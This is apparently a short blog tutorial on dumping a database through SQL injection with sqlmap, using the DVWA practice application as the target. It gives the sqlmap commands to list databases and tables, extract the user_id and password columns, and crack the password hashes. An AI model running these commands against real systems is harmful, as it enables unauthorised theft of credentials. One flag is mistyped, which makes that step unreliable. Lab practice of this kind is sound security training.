How to dump Database using Sqlmap
Database Dump using SQLMap
- Find out the parameter of application that is vulnerable to SQL injection.
- Vulnerable Parameter : “User ID”
- Enter ‘ and then click on Submit button. will get the SQL Error.
- Copy the incepted request and save it in sqlmap installed directory.
- Open CMD and go to the directory where SQL map is installed (C:/sqlmap) and type sqlmap.py –r sqlinjection (filename) –-dbs and then enter. (dbs is used for dump database name).
- Then type Y and enter.
- Now we have to find out the table in database. Type sqlmap.py –r sqlinjection –D dvwa(database name) –tables.
In the above snap we got the table name in dvwa database.
- Now we are going to dump the userid and password from column. Type sqlmap.py –r sqlinjection –d dvwa –T users –C user_id,password –dump.
- In above snap it ask for to crack the hash value type Y.
Comments
Post a Comment